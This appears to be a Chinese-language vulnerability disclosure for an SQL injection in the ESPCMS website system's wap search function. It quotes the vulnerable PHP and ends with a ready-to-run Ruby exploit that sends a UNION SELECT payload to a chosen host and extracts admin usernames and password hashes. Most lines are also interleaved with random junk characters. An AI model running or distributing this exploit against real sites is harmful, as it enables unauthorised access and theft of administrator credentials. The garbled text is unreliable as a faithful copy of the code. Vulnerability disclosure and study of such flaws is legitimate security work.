0×0 漏洞概述0×1 漏洞细节
& w4 W4 ~ [. h" T0×2 PoC
) Z6 D! U- X/ _5 Z; b7 y4 A
* k" V1 w, {! ~# A8 i4 X' b+ ^+ r8 ]% }: U
3 Z2 N h) q! b: c7 C) ?7 `% K
0×0 漏洞概述
! i C @# _/ C* w* _# Y; M
. ?. S }) |" L- p& c# o5 K# O易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。* O f( n. ?, F% n
其在处理传入的参数时考虑不严谨导致SQL注入发生( j1 O6 U4 H7 l. h! G7 a' ]; S
- Q' v: V/ A) C4 s" p
; y+ n5 I( v/ M) ?2 \
0×1 漏洞细节9 n1 X* b @; G+ F: }
" g/ i, Q; l7 d( g/ [6 D5 L1 c变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。0 U0 G$ T. B8 `" f, x b( ]
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。& K. h1 h+ j7 q, M0 ~2 N
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
0 M4 h r$ g% \
4 V" w# ?8 k8 w' F在/interface/3gwap_search.php文件的in_result函数中:
1 i7 r Q; X* |4 ~8 l& |
3 c8 O" L: k7 y' O- Z! Z5 }+ ~, U- R, m! E/ `6 C! u$ n
# H _2 |' M$ G$ `* Q function in_result() {: U3 z! |3 @4 a8 H/ w X
... ... ... ... ... ... ... ... ...
+ e! T- k6 R( c. N6 w% s $urlcode = $_SERVER[ 'QUERY_STRING '];8 e" }% K$ h% W% @+ d
parse_str(html_entity_decode($urlcode), $output);6 c# u! `9 W1 W$ T0 X+ E4 G5 Q) }
" Q& y9 ?9 P1 Z/ F/ J( h
... ... ... ... ... ... ... ... ...
" b6 D/ [* B% H) C0 m if (is_array($output['attr' ]) && count($output['attr']) > 0) {
% O7 t' j& i# L( f! g
( D( ` G( N, d( c: O$ M4 k $db_table = db_prefix . 'model_att';
$ t* ?: `: K- D4 g# |+ c! v1 {1 J! u: l% g
foreach ($output['attr' ] as $key => $value) {. S8 d* G6 m2 t! Q; C/ _) l' w5 G
if ($value) {
& ?- u4 W& Y& G) ^$ i6 x" P8 r! ~$ d4 I+ [( ?. ^
$key = addslashes($key);# h7 O3 M; \2 z& H: X: m! h! m
$key = $this-> fun->inputcodetrim($key);
! q" G$ v" a5 T% W $db_att_where = " WHERE isclass=1 AND attrname='$key'";
! _+ c& E0 r* Q& g! e# r) k $countnum = $this->db_numrows($db_table, $db_att_where);
) p4 J# ~, U6 @% e if ($countnum > 0) {" ^# y9 s. @- I; L2 E/ n
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;! M9 ]1 a8 X; l
}
5 c a! i0 w% | }
$ E/ R) Y- x7 N$ p+ J' ?. l } _: b4 N" I- L/ U3 G. ~" p
}- T" x) e) X- k
if (!empty ($keyword) && empty($keyname)) {1 B! I6 r) E3 h( `2 Y5 _( r
$keyname = 'title';8 H$ w' v% J I$ k+ b2 v
$db_where.= " AND a.title like '%$keyword%'" ;
/ I- u' [! q" y% G5 s } elseif (!empty ($keyword) && !empty($keyname)) {
) _ a* F/ M' d* S $db_where.= " AND $keyname like '% $keyword%'"; Y) S% F% c% W y) _" f/ a6 P
}
/ c& h# | u0 q' p" \' G$ C $pagemax = 15;0 G/ S: r' N- I
1 O8 F- B: v: H6 _. d $pagesylte = 1;8 l/ n, M% {! B
7 Y- T. i7 o; M) Z
if ($countnum > 0) {
& H* q5 W: Q+ F5 | `
& ^. h) j0 P+ \ $numpage = ceil($countnum / $pagemax);6 n2 ~6 {8 G0 @, I* ]
} else {
' O; [5 {; u( w, R& C( { $numpage = 1; r0 b d. a9 R3 r) A$ J9 H7 ] A
}: `! j- V' l: g
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
5 {% s- I& B6 h! ?$ J$ i $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);/ o* o. {# n/ {
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
$ O2 S3 v/ i0 \5 T3 O+ G ... ... ... ... ... ... ... ... ...: W# ^; {. j+ }( Q
}. t H4 [3 @0 X: D5 ^
$ j K* f' J% }
7 A g' {. e+ T. Z. H- l5 _" m
0×2 PoC, }+ o2 d+ R' H
$ J8 [' w* {, ~# p" b+ w$ z. M4 r3 y5 i5 B# _$ a
0 \2 R( e0 z$ r5 e; g- L1 r) j
require "net/http"
/ l3 k: A( ^5 T K* q- C" X) e
I, C3 |9 {3 t, R* G' `* Zdef request(method, url)
9 ], z* m, s6 P( y- h if method.eql?("get")' {) s; d( Z4 V0 m4 U5 ~+ A
uri = URI.parse(url)
4 c/ E k' b/ N) G( s http = Net::HTTP.new(uri.host, uri.port)2 D$ o$ m* c+ P8 c7 x
response = http.request(Net::HTTP::Get.new(uri.request_uri))' t8 `% p: W# B+ U
return response! `$ g" F7 w- i2 h1 v
end
9 k* P+ x# R8 Y# j& V+ ]) n- q7 z+ u. Qend
, k9 b$ S8 q# L$ W+ e; ]5 o4 i, ]
6 Q' q$ Y5 D" I/ r4 Z0 _doc =<<HERE* g w; h* I0 ~, n
-------------------------------------------------------0 A" [0 J: ~6 A4 y2 R
Espcms Injection Exploit
2 M5 T& J% f" q. o# Y" ZAuthor:ztz$ g: [' f, Q7 ?% J- _# W
Blog:http://ztz.fuzzexp.org/3 l9 p6 J4 [3 l% `: c( T. T. n/ E
-------------------------------------------------------( b8 o" }; d8 F$ ?. ^' F! Q, J$ r
' E( A$ r! [. Y( }) S
HERE
2 \2 g2 v& h# t" d' x6 P+ h! k+ b( ^! R0 b/ x4 |( v" S* i
usage =<<HERE; r; Z) B7 W N0 O! q7 v2 k) W. l
Usage: ruby #{$0} host port path$ ]) T; R0 C0 h9 D- R
example: ruby #{$0} www.target.com 80 /
% e+ _, ^3 W+ n. S& @4 |/ r8 IHERE
6 W- l: `1 o! Z2 g8 y9 S$ ?; S; L7 v5 k/ Z8 y. p+ a; B- b
puts doc
3 L2 f5 D) W/ Cif ARGV.length < 3
! Y: n6 r1 I( a; ^9 V9 s puts usage
; B0 [; ^0 e6 I$ A1 r S# _else8 y! D: e- M( E8 U
$host = ARGV[0]
; Z' g$ C: h2 J8 E1 y$ E3 P& t $port = ARGV[1]9 m" F% Z0 u$ ?; p2 D
$path = ARGV[2]5 _) v f0 y; K5 i7 H
+ X/ z9 M& Q+ { puts "send request..."
2 v' H1 i% W0 @+ h+ h+ K url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&; y/ ^! c! b: B+ O
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
8 n; {0 I) i# Q: z e8 z,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
. `7 {8 s3 v7 I, Q( ]! ?, `$ P,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"# w8 X0 c) h7 v" k- v; D5 w
response = request("get", url)
7 ~& [$ ~. j( a' t4 ?2 \ result = response.body.scan(/\w+&\w{32}/)7 t& N# L( J6 H" h0 I8 }1 F
puts result
! D0 _1 k" u2 W5 Fend2 X/ ~" d9 w5 B" |3 k l
# ~' I* V$ m7 f8 g% J; P" S. B/ W6 F |